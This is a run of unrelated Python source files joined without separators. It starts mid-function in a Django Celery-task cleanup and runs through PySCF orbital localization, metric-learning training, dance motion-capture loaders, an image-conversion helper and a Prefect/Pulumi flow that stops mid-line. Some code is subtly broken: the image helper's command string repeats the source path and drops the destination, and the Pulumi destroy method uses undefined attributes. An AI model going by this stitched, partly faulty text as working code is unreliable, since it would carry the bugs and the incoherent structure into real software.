auto_delete_celery_task_on_delete(sender, instance, **kwargs): user_pk = instance.user.pk celery_user_token_periodic_task = PeriodicTask.objects.filter( name=f'Influencer {user_pk} Update User Token' ) if celery_user_token_periodic_task.exists(): celery_user_token_periodic_task.delete() celery_follower_count_periodic_task = PeriodicTask.objects.filter( name=f'Influencer {user_pk} Update Follower Count' ) if celery_follower_count_periodic_task.exists(): celery_follower_count_periodic_task.delete() # # Localization based on UNO from UHF/UKS check files # import numpy import scipy.linalg import h5py from pyscf import tools,gto,scf,dft from pyscf.tools import molden import pmloc import ulocal def sqrtm(s): e, v = numpy.linalg.eigh(s) return numpy.dot(v*numpy.sqrt(e), v.T.conj()) def lowdin(s): e, v = numpy.linalg.eigh(s) return numpy.dot(v/numpy.sqrt(e), v.T.conj()) def dumpLUNO(fname,thresh=0.01): chkfile = fname+'.chk' outfile = fname+'_cmo.molden' tools.molden.from_chkfile(outfile, chkfile) #============================= # Natural orbitals # Lowdin basis X=S{-1/2} # psi = chi * C # = chi' * C' # = chi*X*(X{-1}C') #============================= mol,mf = scf.chkfile.load_scf(chkfile) mo_coeff = mf["mo_coeff"] ova=mol.intor_symmetric("cint1e_ovlp_sph") nb = mo_coeff.shape[1] # Check overlap diff = reduce(numpy.dot,(mo_coeff[0].T,ova,mo_coeff[0])) - numpy.identity(nb) print numpy.linalg.norm(diff) diff = reduce(numpy.dot,(mo_coeff[1].T,ova,mo_coeff[1])) - numpy.identity(nb) print numpy.linalg.norm(diff) # UHF-alpha/beta ma = mo_coeff[0] mb = mo_coeff[1] nalpha = (mol.nelectron+mol.spin)/2 nbeta = (mol.nelectron-mol.spin)/2 # Spin-averaged DM pTa = numpy.dot(ma[:,:nalpha],ma[:,:nalpha].T) pTb = numpy.dot(mb[:,:nbeta],mb[:,:nbeta].T) pT = 0.5*(pTa+pTb) # Lowdin basis s12 = sqrtm(ova) s12inv = lowdin(ova) pTOAO = reduce(numpy.dot,(s12,pT,s12)) eig,coeff = scipy.linalg.eigh(-pTOAO) eig = -2.0*eig eig[eig<0.0]=0.0 eig[abs(eig)<1.e-14]=0.0 ifplot = False #True if ifplot: import matplotlib.pyplot as plt plt.plot(range(nb),eig,'ro') plt.show() # Back to AO basis coeff = numpy.dot(s12inv,coeff) diff = reduce(numpy.dot,(coeff.T,ova,coeff)) - numpy.identity(nb) print 'CtSC-I',numpy.linalg.norm(diff) # # Averaged Fock # enorb = mf["mo_energy"] fa = reduce(numpy.dot,(ma,numpy.diag(enorb[0]),ma.T)) fb = reduce(numpy.dot,(mb,numpy.diag(enorb[1]),mb.T)) # Non-orthogonal cases: FC=SCE # Fao = SC*e*C{-1} = S*C*e*Ct*S fav = 0.5*(fa+fb) # Expectation value of natural orbitals fexpt = reduce(numpy.dot,(coeff.T,ova,fav,ova,coeff)) enorb = numpy.diag(fexpt) nocc = eig.copy() # # Reordering and define active space according to thresh # idx = 0 active=[] for i in range(nb): if nocc[i]<=2.0-thresh and nocc[i]>=thresh: active.append(True) else: active.append(False) print '\nNatural orbitals:' for i in range(nb): print 'orb:',i,active[i],nocc[i],enorb[i] active = numpy.array(active) actIndices = list(numpy.argwhere(active==True).flatten()) cOrbs = coeff[:,:actIndices[0]] aOrbs = coeff[:,actIndices] vOrbs = coeff[:,actIndices[-1]+1:] nb = cOrbs.shape[0] nc = cOrbs.shape[1] na = aOrbs.shape[1] nv = vOrbs.shape[1] print 'core orbs:',cOrbs.shape print 'act orbs:',aOrbs.shape print 'vir orbs:',vOrbs.shape assert nc+na+nv == nb # dump UNO with open(fname+'_uno.molden','w') as thefile: molden.header(mol,thefile) molden.orbital_coeff(mol,thefile,coeff) #===================== # Population analysis #===================== from pyscf import lo aux = lo.orth_ao(mol,method='meta_lowdin') #clmo = ulocal.scdm(cOrbs,ova,aux) #almo = ulocal.scdm(aOrbs,ova,aux) clmo = cOrbs almo = aOrbs ierr,uc = pmloc.loc(mol,clmo) ierr,ua = pmloc.loc(mol,almo) clmo = clmo.dot(uc) almo = almo.dot(ua) vlmo = ulocal.scdm(vOrbs,ova,aux) # P-SORT mo_c,n_c,e_c = ulocal.psort(ova,fav,pT,clmo) mo_o,n_o,e_o = ulocal.psort(ova,fav,pT,almo) mo_v,n_v,e_v = ulocal.psort(ova,fav,pT,vlmo) lmo = numpy.hstack((mo_c,mo_o,mo_v)).copy() enorb = numpy.hstack([e_c,e_o,e_v]) occ = numpy.hstack([n_c,n_o,n_v]) # CHECK diff = reduce(numpy.dot,(lmo.T,ova,lmo)) - numpy.identity(nb) print 'diff=',numpy.linalg.norm(diff) ulocal.lowdinPop(mol,lmo,ova,enorb,occ) ulocal.dumpLMO(mol,fname,lmo) print 'nalpha,nbeta,mol.spin,nb:',\ nalpha,nbeta,mol.spin,nb return mol,ova,fav,pT,nb,nalpha,nbeta,nc,na,nv,lmo,enorb,occ def dumpAct(fname,info,actlst,base=1): actlst2 = [i-base for i in actlst] mol,ova,fav,pT,nb,nalpha,nbeta,nc,na,nv,lmo,enorb,occ = info corb = set(range(nc)) aorb = set(range(nc,nc+na)) vorb = set(range(nc+na,nc+na+nv)) print '[dumpAct]' print ' corb=',corb print ' aorb=',aorb print ' vorb=',vorb sorb = set(actlst2) rcorb = corb.difference(corb.intersection(sorb)) #assuming act in actlst #raorb = aorb.difference(aorb.intersection(sorb)) rvorb = vorb.difference(vorb.intersection(sorb)) corb = list(rcorb) aorb = list(sorb) vorb = list(rvorb) print ' corb=',corb print ' aorb=',aorb print ' vorb=',vorb clmo = lmo[:,corb].copy() almo = lmo[:,aorb].copy() vlmo = lmo[:,vorb].copy() ierr,ua = pmloc.loc(mol,almo) almo = almo.dot(ua) #>>> DUMP <<<# # P-SORT mo_c = clmo mo_v = vlmo e_c = enorb[corb].copy() e_v = enorb[vorb].copy() n_c = occ[corb].copy() n_v = occ[vorb].copy() mo_o,n_o,e_o = ulocal.psort(ova,fav,pT,almo) lmo2 = numpy.hstack((mo_c,mo_o,mo_v)) enorb = numpy.hstack([e_c,e_o,e_v]) occ = numpy.hstack([n_c,n_o,n_v]) assert len(enorb)==nb assert len(occ)==nb # CHECK diff = reduce(numpy.dot,(lmo2.T,ova,lmo2)) - numpy.identity(nb) print 'diff=',numpy.linalg.norm(diff) ulocal.lowdinPop(mol,lmo,ova,enorb,occ) ulocal.dumpLMO(mol,fname+'_new',lmo2) print 'nalpha,nbeta,mol.spin,nb:',\ nalpha,nbeta,mol.spin,nb print 'diff(LMO2-LMO)=',numpy.linalg.norm(lmo2-lmo) nc = len(e_c) na = len(e_o) nv = len(e_v) assert na == len(actlst) assert nc+na+nv == nb print 'nc,na,nv,nb=',nc,na,nv,nb return lmo2,nc,na,nv if __name__ == '__main__': fname = 'hs_bp86' info = dumpLUNO(fname) actlst = [117,118,119,120,125,126]+range(127,137) dumpAct(fname,info,actlst,base=1) #!/usr/bin/env python # coding: utf-8 from utils import * from datasets import DatasetTorchvision, SiameseMNIST, SiameseMNIST_MT, TripletMNIST_MT from torchvision.datasets import ImageFolder from networks import EmbeddingNet, EmbeddingNetVGG, EmbeddingNetRGB, SiameseNet, SiameseNet_ClassNet, Triplet_ClassNet from utils import RandomNegativeTripletSelector, HardestNegativeTripletSelector, SemihardNegativeTripletSelector from datasets import BalancedBatchSampler from losses import ContrastiveLoss, OnlineTripletLoss from losses import ContrastiveLoss_mod, CrossEntropy import torch from torchvision import transforms from torch.optim import lr_scheduler import torch.optim as optim from torch.autograd import Variable import warnings warnings.filterwarnings("ignore") from metrics import * from trainer import fit, fit_siam, fit_org import numpy as np # get_ipython().run_line_magic('matplotlib', 'inline') import matplotlib import matplotlib.pyplot as plt import os from utils import * import utils import sys cuda = torch.cuda.is_available() """ ###################################################################### 1. add metric "siameseEucDist" - Done 2. Do data processing: siamese and classification data togther for multitasking - under procsess 3. Modify the trainer function ###################################################################### """ seed_offset, ATLW, loss_key = int(sys.argv[1]), str(sys.argv[2]), str(sys.argv[3]) loss_type_dict = {"co": "Ctrst", "tr": "Trplt"} loss_type = loss_type_dict[loss_key] dataset_name = 'MNIST' # dataset_name = 'FashionMNIST' # dataset_name = 'CIFAR10' # dataset_name = 'CIFAR100' # dataset_name = 'CALTECH101' if dataset_name == 'CALTECH101': dataC = ImageFolder else: dataC = DatasetTorchvision(dataset_name) if 'MNIST' in dataset_name: EmbeddingNet = EmbeddingNet embd_size=2 n_epochs=25 elif 'CIFAR' in dataset_name: # EmbeddingNet = EmbeddingNetRGB EmbeddingNet = EmbeddingNetVGG embd_size=512 if dataset_name == 'CIFAR10': n_epochs=50 elif dataset_name == 'CIFAR100': n_epochs=100 # n_epochs=2 # ipdb.set_trace() train_dataset, test_dataset, n_classes = dataC.getDataset() # os.environ["CUDA_VISIBLE_DEVICES"] = "1,2,3,4" batch_size = 2**11 # batch_size = 2**10 log_interval = 500 loss_fn_ce = CrossEntropy() # Step 4 margin=1.0 loss_type = 'Ctrst' loss_type = 'Trplt' if loss_type == 'Ctrst': siamese_MT_train_dataset = SiameseMNIST_MT(train_dataset, seed=0, noisy_label=False) siamese_MT_test_dataset = SiameseMNIST_MT(test_dataset, seed=0, noisy_label=False) _ClassNet = SiameseNet_ClassNet loss_fn = ContrastiveLoss_mod(margin) loss_fn_tup = (loss_fn, loss_fn_ce) elif loss_type == 'Trplt': siamese_MT_train_dataset = SiameseMNIST_MT(train_dataset, seed=0, noisy_label=False) siamese_MT_test_dataset = SiameseMNIST_MT(test_dataset, seed=0, noisy_label=False) # batch_size=2**7 batch_size=2**15 batch_size=311250 triplet_seed_samples = 250 train_batch_sampler = BalancedBatchSampler(train_dataset.train_labels, n_classes=n_classes, n_samples=triplet_seed_samples) test_batch_sampler = BalancedBatchSampler(test_dataset.test_labels, n_classes=n_classes, n_samples=triplet_seed_samples) # kwargs = {'num_workers': 1, 'pin_memory': True} if cuda else {} # _ClassNet = SiameseNet_ClassNet _ClassNet = Triplet_ClassNet # loss_fn_triplet= OnlineTripletLoss(margin, HardestNegativeTripletSelector(batch_size, margin)) loss_fn_triplet= OnlineTripletLoss(margin, RandomNegativeTripletSelector(batch_size, margin)) loss_fn = ContrastiveLoss_mod(margin) loss_fn_tup = (loss_fn, loss_fn_triplet, loss_fn_ce) interval = 0.2 # interval = 0.1 write_list, mw_list = [], [] kwargs = {'num_workers': 1, 'pin_memory': True} if cuda else {} # For reproducibility torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False metric_classes=[SimpleSiamDistAcc, AccumulatedAccuracyMetric_mod] soff=0 if ATLW == 'na': # No automatic loss weight tuning: Grid search start = 0 # start = 0.5 # interval = interval end = 1.0+ (interval*0.5) seedmax = 10 log_tag = "grid_search" elif 'kl' in ATLW: # KLMW and MVMW init_mix_weight = 0.5 start, interval, end = 0, 1, 1 seedmax = 50 log_tag = "auto" elif ATLW == 'gn': # GradNorm method init_mix_weight = 0.5 start, interval, end = 0, 1, 1 seedmax = 50 log_tag = "gradnorm" # ipdb.set_trace() seed_range = (soff+1, soff+seedmax) for k in range(seed_range[0], seed_range[1]+1): for mwk, mix_weight in enumerate(np.arange(start, end, interval)): if ATLW in ['gn', 'kl', 'klan' ]: mix_weight = init_mix_weight print("Mix weight count:", mwk, mix_weight) # Setting a seed and an initial weight. mix_weight = round(mix_weight, 3) seed = k + seed_offset torch.manual_seed(seed) np.random.seed(seed) # Data Loader Initialization if loss_type == "Ctrst": siamese_train_MT_loader = torch.utils.data.DataLoader(siamese_MT_train_dataset, batch_size=batch_size, shuffle=False, **kwargs) siamese_test_MT_loader = torch.utils.data.DataLoader(siamese_MT_test_dataset, batch_size=batch_size, shuffle=True, **kwargs) elif loss_type == "Trplt": siamese_train_MT_loader = torch.utils.data.DataLoader(train_dataset, batch_sampler=train_batch_sampler, **kwargs) siamese_test_MT_loader = torch.utils.data.DataLoader(test_dataset, batch_sampler=test_batch_sampler, **kwargs) # Model Initialization embedding_net = EmbeddingNet(embd_size) model_mt = _ClassNet(embedding_net, n_classes=n_classes, embd_size=embd_size) # Step 3 if cuda: model_mt.cuda() optimizer_mt = optim.Adam scheduler_mt = None mix_weight = torch.tensor(mix_weight).cuda() variable_dict = {"embd_size": embd_size, "mix_weight": mix_weight, "ATLW": ATLW, "seed": seed, "margin": margin, "seed_range":seed_range, "loss_type": loss_type, "interval": interval, "log_tag": log_tag, "dataset_name": dataset_name, "model_name": embedding_net.model_name, "write_list": write_list, "batch_size": batch_size} write_var, write_list, mix_weight, mix_weight_list = fit_siam(siamese_train_MT_loader, siamese_test_MT_loader, model_mt, loss_fn_tup, optimizer_mt, scheduler_mt, n_epochs, cuda, log_interval, metric_classes, variable_dict) # write_list, mw_list = writeAndSave(write_var, mix_weight_list, margin, seed_offset, n_epochs, interval, log_tag, write_list) 1-10 """Utils to process raw data and make them into tensors.""" import logging import os import pickle from glob import glob import numpy as np import torch import default_config def augment_by_rotations(seq_data, augmentation_factor): """Augment the dataset of sequences. For each input sequence, generate N new sequences, where each new sequence is obtained by rotating the input sequence with a different rotation angle. Notes ----- - N is equal to augmentation_factor. - Only rotations of axis z are considered. Parameters ---------- seq_data : array-like Original dataset of sequences. Shape=[n_seqs, seq_len, input_features] augmentation_factor : int Multiplication factor, i.e. how many new sequences are generated from one given sequence. Returns ------- rotated_seq_data : array-like Augmented dataset of sequences. Shape=[augmentation_factor*n_seqs, seq_len, input_features] """ rotated_seq_data = [] for seq in seq_data: thetas = np.random.uniform(0, 2 * np.pi, size=(augmentation_factor,)) c_thetas = np.cos(thetas) s_thetas = np.sin(thetas) rotation_mats = [ np.array([[c, -s, 0], [s, c, 0], [0, 0, 1]]) for c, s in zip(c_thetas, s_thetas) ] rotation_mats = np.stack(rotation_mats, axis=0) assert rotation_mats.shape == (augmentation_factor, 3, 3), rotation_mats.shape seq_len, input_features = seq.shape seq = seq.reshape((seq_len, -1, 3)) rotated_seq = np.einsum("...j, nij->...ni", seq, rotation_mats) rotated_seq = rotated_seq.reshape( (augmentation_factor, seq_len, input_features) ) rotated_seq_data.append(rotated_seq) seq_data = np.stack(rotated_seq_data, axis=0).reshape((-1, seq_len, input_features)) return seq_data def load_mariel_raw(pattern="data/mariel_*.npy"): """Load six datasets and perform minimal preprocessing. Processing amunts to center each dancer, such that the barycenter becomes 0. From Pettee 2019: Each frame of the dataset is transformed such that the overall average (x,y) position per frame is centered at the same point and scaled such that all of the coordinates fit within the unit cube. """ datasets = {} ds_all = [] exclude_points = [26, 53] point_mask = np.ones(55, dtype=bool) point_mask[exclude_points] = 0 logging.info("Loading raw datasets:") for f in sorted(glob(pattern)): ds_name = os.path.basename(f)[7:-4] ds = np.load(f).transpose((1, 0, 2)) ds = ds[500:-500, point_mask] logging.info(f"- {f} of shape {ds.shape}") ds[:, :, 2] *= -1 # ds = filter_points(ds) datasets[ds_name] = ds ds_all.append(ds) ds_counts = np.array([ds.shape[0] for ds in ds_all]) ds_offsets = np.zeros_like(ds_counts) ds_offsets[1:] = np.cumsum(ds_counts[:-1]) ds_all = np.concatenate(ds_all) low, hi = np.quantile(ds_all, [0.01, 0.99], axis=(0, 1)) xy_min = min(low[:2]) xy_max = max(hi[:2]) xy_range = xy_max - xy_min ds_all[:, :, :2] -= xy_min ds_all *= 2 / xy_range ds_all[:, :, :2] -= 1.0 # it's also useful to have these datasets centered, # i.e. with the x and y offsets # subtracted from each individual frame ds_all_centered = ds_all.copy() ds_all_centered[:, :, :2] -= ds_all_centered[:, :, :2].mean(axis=1, keepdims=True) datasets_centered = {} for ds in datasets: datasets[ds][:, :, :2] -= xy_min datasets[ds] *= 2 / xy_range datasets[ds][:, :, :2] -= 1.0 datasets_centered[ds] = datasets[ds].copy() datasets_centered[ds][:, :, :2] -= datasets[ds][:, :, :2].mean( axis=1, keepdims=True ) low, hi = np.quantile(ds_all, [0.01, 0.99], axis=(0, 1)) return ds_all, ds_all_centered, datasets, datasets_centered, ds_counts def load_labels( effort, filepath="/home/papillon/move/move/data/labels_mathilde.csv", no_NA=True, augment=True ): file = open(filepath) labels_with_index = np.loadtxt(file, delimiter=",") if effort == 'time': labels_with_index = np.delete(labels_with_index, 1, axis=1) if effort == 'space': labels_with_index = np.delete(labels_with_index, 2, axis=1) if augment: labels_with_index = augment_labels(labels_with_index) if no_NA: labels_with_index_noNA = [] for i in range(len(labels_with_index)): row = labels_with_index[i] if row[1] != 4.: labels_with_index_noNA.append(row) labels_ind = np.delete(labels_with_index_noNA, 1, axis=1) labels = np.delete(labels_with_index_noNA, 0, axis=1) if not no_NA: labels_ind = np.delete(labels_with_index, 1, axis=1) labels = np.delete(labels_with_index, 0, axis=1) return labels, labels_ind def augment_labels(labels_with_index, seq_len=default_config.seq_len): all_between_lab = np.zeros((1,2)) # Label sequences between two identically labelled block sequences for j in range(len(labels_with_index)): if j == 0: continue if j != 0: bef_index = labels_with_index[j-1][0] effort = labels_with_index[j][1] bef_effort = labels_with_index[j-1][1] if effort == bef_effort: between_lab = np.zeros((int(seq_len), 2)) for i in range(int(seq_len)): between_lab[i][0] = int(bef_index + i + 1) between_lab[i][1] = int(effort) between_lab = np.array(between_lab).reshape((-1,2)) all_between_lab = np.append(all_between_lab, between_lab, axis=0) all_between_lab = all_between_lab[1:,] # Label sequences starting a few poses before and after each block sequence extra_frames = 5 fuzzy_labels = np.zeros((1,2)) for j in range(len(labels_with_index)): index_labelled = labels_with_index[j][0] effort = labels_with_index[j][1] if index_labelled == 0: for i in range(extra_frames + 2): extra_label = np.expand_dims([i, effort], axis=0) fuzzy_labels = np.append(fuzzy_labels, extra_label, axis=0) if index_labelled != 0: for i in range(extra_frames + 1): i_rev = extra_frames - i extra_label_neg = np.expand_dims([index_labelled - (i_rev + 1), effort], axis=0) fuzzy_labels = np.append(fuzzy_labels, extra_label_neg, axis=0) fuzzy_labels = np.append(fuzzy_labels, labels_with_index[j].reshape((1,2)), axis=0) for i in range(extra_frames + 1): extra_label_pos = np.expand_dims([index_labelled + (i + 1), effort], axis=0) fuzzy_labels = np.append(fuzzy_labels, extra_label_pos, axis=0) fuzzy_labels = fuzzy_labels[1:,] nonunique = np.append(all_between_lab, fuzzy_labels, axis=0) labels_with_index_aug = nonunique[np.unique(nonunique[:,0], axis=0, return_index=True)[1]] # with open('smart_labels_mathilde.csv', 'w', newline='') as file: # writer = csv.writer(file, delimiter=',') # writer.writerows(labels_with_index_aug) # file.close() return labels_with_index_aug def load_aist_raw(pattern="data/aist/*.pkl"): """Load six datasets and perform minimal preprocessing. Processing amunts to center each dancer, such that the barycenter becomes 0. """ datasets = {} ds_all = [] exclude_points = [26, 53] point_mask = np.ones(55, dtype=bool) point_mask[exclude_points] = 0 logging.info("Loading raw datasets:") for f in sorted(glob(pattern)): ds_name = os.path.basename(f)[7:-4] data = pickle.load(open(f, "rb")) kp3d = data["keypoints3d"] kp3d_optim = data["keypoints3d_optim"] logging.info(f"- {f} of shape {kp3d.shape}") datasets[ds_name] = kp3d ds_all.append(kp3d) ds_counts = np.array([ds.shape[0] for ds in ds_all]) ds_offsets = np.zeros_like(ds_counts) ds_offsets[1:] = np.cumsum(ds_counts[:-1]) ds_all = np.concatenate(ds_all) # print("Full data shape:", ds_all.shape) # # print("Offsets:", ds_offsets) # # print(ds_all.min(axis=(0,1))) low, hi = np.quantile(ds_all, [0.01, 0.99], axis=(0, 1)) xy_min = min(low[:2]) xy_max = max(hi[:2]) xy_range = xy_max - xy_min ds_all[:, :, :2] -= xy_min ds_all *= 2 / xy_range ds_all[:, :, :2] -= 1.0 # it's also useful to have these datasets centered, # i.e. with the x and y offsets # subtracted from each individual frame ds_all_centered = ds_all.copy() ds_all_centered[:, :, :2] -= ds_all_centered[:, :, :2].mean(axis=1, keepdims=True) datasets_centered = {} for ds in datasets: datasets[ds][:, :, :2] -= xy_min datasets[ds] *= 2 / xy_range datasets[ds][:, :, :2] -= 1.0 datasets_centered[ds] = datasets[ds].copy() datasets_centered[ds][:, :, :2] -= datasets[ds][:, :, :2].mean( axis=1, keepdims=True ) # # print(ds_all.min(axis=(0,1))) low, hi = np.quantile(ds_all, [0.01, 0.99], axis=(0, 1)) return ds_all, ds_all_centered, datasets, datasets_centered, ds_counts def get_mariel_data(config, augmentation_factor=1): """Transform mariel data into train/val/test torch loaders. Note: Pettee 2019 keeps augmentation_factor=1. """ ds_all, ds_all_centered, _, _, _ = load_mariel_raw() my_data = ds_all_centered.reshape((ds_all.shape[0], -1)) seq_data = np.zeros( (my_data.shape[0] - config.seq_len, config.seq_len, my_data.shape[1]) ) for i in range((ds_all.shape[0] - config.seq_len)): seq_data[i] = my_data[i : i + config.seq_len] logging.info(f"Preprocessing: Load seq_data of shape {seq_data.shape}") if augmentation_factor > 1: logging.info( "Preprocessing: data augmentation by rotations, " f"factor = {augmentation_factor}" ) seq_data = augment_by_rotations(seq_data, augmentation_factor) logging.info(f">> Augmented seq_data has shape: {seq_data.shape}") # five_perc = int(round(seq_data.shape[0] * 0.05)) # ninety_perc = seq_data.shape[0] - (2 * five_perc) # train_ds = seq_data[:ninety_perc, :, :] # valid_ds = seq_data[ninety_perc : (ninety_perc + five_perc), :, :] # test_ds = seq_data[(ninety_perc + five_perc) :, :, :] five_perc = int(round(seq_data.shape[0] * 0.05)) ninety_perc = seq_data.shape[0] - (2 * five_perc) valid_ds = seq_data[:five_perc, :, :] test_ds = seq_data[five_perc:(five_perc + five_perc), :, :] train_ds = seq_data[(five_perc + five_perc):, :, :] logging.info(f">> Train ds has shape {train_ds.shape}") logging.info(f">> Valid ds has shape {valid_ds.shape}") logging.info(f">> Test ds has shape {test_ds.shape}") logging.info("Preprocessing: Convert into torch dataloader") data_train_torch = torch.utils.data.DataLoader( train_ds, batch_size=config.batch_size ) data_valid_torch = torch.utils.data.DataLoader( valid_ds, batch_size=config.batch_size ) data_test_torch = torch.utils.data.DataLoader(test_ds, batch_size=1) return data_train_torch, data_valid_torch, data_test_torch def sequify_all_data(pose_data, seq_len, augmentation_factor): seq_data = np.zeros( (pose_data.shape[0] - seq_len, seq_len, pose_data.shape[1]) ) for i in range((pose_data.shape[0] - seq_len)): seq_data[i] = pose_data[i : i + seq_len] logging.info(f"Preprocessing: Load seq_data_lab of shape {seq_data.shape}") if augmentation_factor > 1: logging.info( "Preprocessing: data augmentation by rotations, " f"factor = {augmentation_factor}" ) seq_data = augment_by_rotations(seq_data, augmentation_factor) logging.info(f">> Augmented seq_data_lab has shape: {seq_data.shape}") np.random.shuffle(seq_data) return seq_data def sequify_lab_data(labels_ind, pose_data, seq_len, augmentation_factor): seq_data = np.zeros( (len(labels_ind), seq_len, pose_data.shape[1]) ) for i in range(len(labels_ind)): start_ind = int(labels_ind[i]) seq_data[i] = pose_data[start_ind : start_ind + int(seq_len)] logging.info(f"Preprocessing: Load labelled data of shape {seq_data.shape}") if augmentation_factor > 1: logging.info( "Preprocessing: data augmentation by rotations, " f"factor = {augmentation_factor}" ) seq_data = augment_by_rotations(seq_data, augmentation_factor) logging.info(f">> Augmented labelled data has shape: {seq_data.shape}") #np.random.shuffle(seq_data) return seq_data def get_dgm_data(config, augmentation_factor=1): """Transform mariel data into train/val/test torch loaders. Note: Pettee 2019 keeps augmentation_factor=1. """ ds_all, ds_all_centered, _, _, _ = load_mariel_raw() pose_data = ds_all_centered.reshape((ds_all.shape[0], -1)) labels_1_to_4, labels_ind = load_labels(effort = config.effort) labels = labels_1_to_4 - 1. labels = labels.reshape((labels.shape[0], 1, labels.shape[-1])) # sequify both sets of data seq_data_lab = sequify_lab_data(labels_ind, pose_data, config.seq_len, augmentation_factor=1) seq_data_unlab = sequify_all_data(pose_data, config.seq_len, augmentation_factor=1) # divide labelled data into 90% training, 5% validating, and 5% testing sets one_perc_lab = int(round(len(labels_ind) * 0.01)) five_perc_lab = int(one_perc_lab * 5) labelled_data_valid_ds = seq_data_lab[:(five_perc_lab), :, :] labelled_data_train_ds = seq_data_lab[(five_perc_lab) : ((five_perc_lab * 19) + (one_perc_lab * 3)), :, :] labelled_data_test_ds = seq_data_lab[((five_perc_lab * 19) + (one_perc_lab * 3)) :, :, :] #divide labels into 90% training, 5% validating, and 5% testing sets labels_valid_ds = labels[:(five_perc_lab), :, :] labels_train_ds = labels[(five_perc_lab) : ((five_perc_lab * 19) + (one_perc_lab * 3)), :, :] labels_test_ds = labels[((five_perc_lab * 19) + (one_perc_lab * 3)) :, :, :] # divide unlabelled data into 95% training and 5% testing sets (associated labels?) five_perc_unlab = int(round(seq_data_unlab.shape[0] * 0.05)) ninety_perc_unlab = seq_data_unlab.shape[0] - (2 * five_perc_unlab) unlabelled_data_train_ds = seq_data_unlab[:(ninety_perc_unlab + five_perc_unlab), :, :] unlabelled_data_test_ds = seq_data_unlab[(ninety_perc_unlab + five_perc_unlab) :, :, :] print(f">> Labelled Train ds has shape {labelled_data_train_ds.shape}") print(f">> Unlabelled Train ds has shape {unlabelled_data_train_ds.shape}") print(f">> Labelled Validation ds has shape {labelled_data_valid_ds.shape}") print(f">> Labelled Test ds has shape {labelled_data_test_ds.shape}") print(f">> Unlabelled Test ds has shape {unlabelled_data_test_ds.shape}") print(f">> Labels train ds has shape {labels_train_ds.shape}") print(f">> Labels valid ds has shape {labels_valid_ds.shape}") print(f">> Labels test ds has shape {labels_test_ds.shape}") logging.info("Preprocessing: Convert into torch dataloader") labelled_data_train = torch.utils.data.DataLoader( labelled_data_train_ds, batch_size=config.batch_size, drop_last=True ) labels_train = torch.utils.data.DataLoader( labels_train_ds, batch_size=config.batch_size, drop_last=True ) unlabelled_data_train = torch.utils.data.DataLoader( unlabelled_data_train_ds, batch_size=config.batch_size ) labelled_data_valid = torch.utils.data.DataLoader( labelled_data_valid_ds, batch_size=config.batch_size, drop_last=True ) labels_valid = torch.utils.data.DataLoader( labels_valid_ds, batch_size=config.batch_size, drop_last=True ) labelled_data_test = torch.utils.data.DataLoader( labelled_data_test_ds, batch_size=1, drop_last=True ) labels_test = torch.utils.data.DataLoader( labels_test_ds, batch_size=config.batch_size, drop_last=True ) unlabelled_data_test = torch.utils.data.DataLoader( unlabelled_data_test_ds, batch_size=1, ) return labelled_data_train, labels_train, unlabelled_data_train, \ labelled_data_valid, labels_valid, labelled_data_test, labels_test,\ unlabelled_data_test def get_aist_data(config, augmentation_factor=1): """Transform AIST++ data into train/val/test torch loaders. """ ds_all, ds_all_centered, _, _, _ = load_aist_raw() my_data = ds_all_centered.reshape((ds_all.shape[0], -1)) logging.info(f"Preprocessing: Concatenated centered data has shape {my_data.shape}") seq_data = np.zeros( (my_data.shape[0] - config.seq_len, config.seq_len, my_data.shape[1]) ) for i in range((ds_all.shape[0] - config.seq_len)): seq_data[i] = my_data[i : i + config.seq_len] logging.info(f"Preprocessing: Load seq_data of shape {seq_data.shape}") if augmentation_factor > 1: logging.info( "Preprocessing: data augmentation by rotations, " f"factor = {augmentation_factor}" ) seq_data = augment_by_rotations(seq_data, augmentation_factor) logging.info(f">> Augmented seq_data has shape: {seq_data.shape}") five_perc = int(round(seq_data.shape[0] * 0.05)) ninety_perc = seq_data.shape[0] - (2 * five_perc) train_ds = seq_data[:ninety_perc, :, :] valid_ds = seq_data[ninety_perc : (ninety_perc + five_perc), :, :] test_ds = seq_data[(ninety_perc + five_perc) :, :, :] logging.info(f">> Train ds has shape {train_ds.shape}") logging.info(f">> Valid ds has shape {valid_ds.shape}") logging.info(f">> Test ds has shape {test_ds.shape}") logging.info("Preprocessing: Convert into torch dataloader") data_train_torch = torch.utils.data.DataLoader( train_ds, batch_size=config.batch_size ) data_valid_torch = torch.utils.data.DataLoader( valid_ds, batch_size=config.batch_size ) data_test_torch = torch.utils.data.DataLoader(test_ds, batch_size=1) return data_train_torch, data_valid_torch, data_test_torch import skimage def get_image_for_filename(image_filename): if image_filename is not None: image = skimage.io.imread(image_filename) return image else: return None def image2jpg(src_path, dst_parh): import subprocess import shlex cmd = 'convert {0} {0}'.format(src_path, dst_parh) print cmd p = subprocess.Popen( shlex.split(cmd)) p.wait() import prefect from prefect import Flow, task, Parameter from pathlib import Path import os import yaml from prefect.engine.signals import LOOP from pulumi import automation as auto from pulumi.automation._config import ConfigMap """ Currently we have everything prefect in a single file for easy localc development In future we will modularize this. """ class PulumiHandler(): """ Issue https://github.com/pulumi/pulumi/issues/2522 prevents us from using "/" in stack names when not using Pulumi hosted service, and using other backends (local, S3, etc.) So we will use "." instead. """ def build_stack_name(self, org: str, project: str, stack: str): return f"{org}.{project}.{stack}" def preview(self, org: str, project: str, stack: str, config_map: ConfigMap = None): work_dir = os.path.join(os.path.dirname(__file__), "..", "projects", project) stack_name = self.build_stack_name(org, project, stack) pstack = auto.create_or_select_stack(stack_name=stack_name, work_dir=work_dir) if(config_map): pstack.set_all_config(config_map) pstack.refresh() return pstack.preview() def up(self, org: str, project: str, stack: str, config_map: ConfigMap = None): work_dir = os.path.join(os.path.dirname(__file__), "..", "projects", project) stack_name = self.build_stack_name(org, project, stack) pstack = auto.create_or_select_stack(stack_name=stack_name, work_dir=work_dir) if(config_map): pstack.set_all_config(config_map) pstack.refresh() return pstack.up() def destroy(self, org: str, project: str, stack: str, config_map: ConfigMap = None): stack_name = auto.fully_qualified_stack_name(org, project, stack) stack = auto.create_or_select_stack(stack_name=stack_name, work_dir=self.work_dir) stack.set_all_config(self.config_map) stack.refresh() return stack.destroy() @task def log(x): logger = prefect.context.get("logger") logger.info(x) return x @task def read_yaml(spec: str): logger = prefect.context.get("logger") file_path: str = Path(__file__).resolve().parent.as_posix() spec_file: str = os.path.join(file_path, "..", "flows", spec) #logger.info("Reading file: {}", spec_file) content = "" with open(spec_file) as file: content = file.read() yml = yaml.load(content) return yml["steps"] @task def pulumi_up(org: str, stack: str, projects: list): loop_payload = prefect.context.get("task_loop_result", {}) remaining_projects = loop_payload.get("remaining_projects", 